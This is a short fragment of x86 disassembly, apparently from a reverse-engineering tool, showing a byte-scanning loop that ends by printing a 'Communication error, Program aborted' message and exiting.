mov ecx, dword [ebp + 8]
add ecx, 1
mov dword [ebp + 8], ecx
jmp 0x401121
jmp 0x401123
jmp 0x4010ce
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
test eax, eax
je 0x401141
push str._n_nCommunication_errorT_nProgram_aborted_n
call fcn.00402297
add esp, 4
push 1
call fcn.00402257
mov esp, ebp
pop ebp
ret